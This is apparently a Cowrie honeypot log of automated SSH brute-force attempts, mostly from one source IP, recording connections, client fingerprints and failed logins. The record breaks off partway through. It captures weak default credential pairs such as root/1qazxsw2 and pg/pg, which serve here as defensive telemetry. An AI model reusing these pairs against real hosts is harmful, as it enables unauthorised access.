{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:22.196697Z","src_ip":"176.65.139.95","session":"2d77ed5f933d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:22.819999Z","src_ip":"176.65.139.95","session":"2d77ed5f933d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:23.911169Z","src_ip":"176.65.139.95","session":"2d77ed5f933d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59716,"dst_ip":"159.203.135.109","dst_port":22,"session":"356307c92cfe","protocol":"ssh","message":"New connection: 176.65.139.95:59716 (159.203.135.109:22) [session: 356307c92cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:28.734127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:28.740565Z","src_ip":"176.65.139.95","session":"356307c92cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:28.831759Z","src_ip":"176.65.139.95","session":"356307c92cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:29.149032Z","src_ip":"176.65.139.95","session":"356307c92cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:30.244543Z","src_ip":"176.65.139.95","session":"356307c92cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59730,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e94b9af5d1a","protocol":"ssh","message":"New connection: 176.65.139.95:59730 (159.203.135.109:22) [session: 3e94b9af5d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:35.351063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:35.355832Z","src_ip":"176.65.139.95","session":"3e94b9af5d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:35.438631Z","src_ip":"176.65.139.95","session":"3e94b9af5d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:35.869472Z","src_ip":"176.65.139.95","session":"3e94b9af5d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:36.970135Z","src_ip":"176.65.139.95","session":"3e94b9af5d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00483822822571,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:40.737977Z","src_ip":"143.202.183.103","session":"ab84279a55c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47780,"dst_ip":"159.203.135.109","dst_port":22,"session":"733548ef4715","protocol":"ssh","message":"New connection: 159.203.92.129:47780 (159.203.135.109:22) [session: 733548ef4715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:41.768388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:41.773532Z","src_ip":"159.203.92.129","session":"733548ef4715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:41.778610Z","src_ip":"159.203.92.129","session":"733548ef4715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50164,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb265719715","protocol":"ssh","message":"New connection: 176.65.139.95:50164 (159.203.135.109:22) [session: 6eb265719715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:41.787786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:41.793940Z","src_ip":"176.65.139.95","session":"6eb265719715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"JinJH","password":"JinJH123","message":"login attempt [JinJH/JinJH123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:41.800809Z","src_ip":"159.203.92.129","session":"733548ef4715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:41.890076Z","src_ip":"176.65.139.95","session":"6eb265719715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:42.238429Z","src_ip":"176.65.139.95","session":"6eb265719715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:42.808422Z","src_ip":"159.203.92.129","session":"733548ef4715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:43.331948Z","src_ip":"176.65.139.95","session":"6eb265719715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50170,"dst_ip":"159.203.135.109","dst_port":22,"session":"eadb7125e9ec","protocol":"ssh","message":"New connection: 176.65.139.95:50170 (159.203.135.109:22) [session: eadb7125e9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:48.304673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:48.309190Z","src_ip":"176.65.139.95","session":"eadb7125e9ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:48.391290Z","src_ip":"176.65.139.95","session":"eadb7125e9ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:48.848201Z","src_ip":"176.65.139.95","session":"eadb7125e9ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:49.932631Z","src_ip":"176.65.139.95","session":"eadb7125e9ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59074,"dst_ip":"159.203.135.109","dst_port":22,"session":"22776cf81936","protocol":"ssh","message":"New connection: 176.65.139.95:59074 (159.203.135.109:22) [session: 22776cf81936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:55.141064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:55.152644Z","src_ip":"176.65.139.95","session":"22776cf81936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:55.225108Z","src_ip":"176.65.139.95","session":"22776cf81936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:55.750255Z","src_ip":"176.65.139.95","session":"22776cf81936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:56.838243Z","src_ip":"176.65.139.95","session":"22776cf81936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39728,"dst_ip":"159.203.135.109","dst_port":22,"session":"e79881948d26","protocol":"ssh","message":"New connection: 176.65.139.95:39728 (159.203.135.109:22) [session: e79881948d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:01.681754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:01.688023Z","src_ip":"176.65.139.95","session":"e79881948d26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:01.776787Z","src_ip":"176.65.139.95","session":"e79881948d26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:02.062004Z","src_ip":"176.65.139.95","session":"e79881948d26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:03.179072Z","src_ip":"176.65.139.95","session":"e79881948d26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39738,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d78246e8e5","protocol":"ssh","message":"New connection: 176.65.139.95:39738 (159.203.135.109:22) [session: b2d78246e8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:08.205472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:08.210710Z","src_ip":"176.65.139.95","session":"b2d78246e8e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-s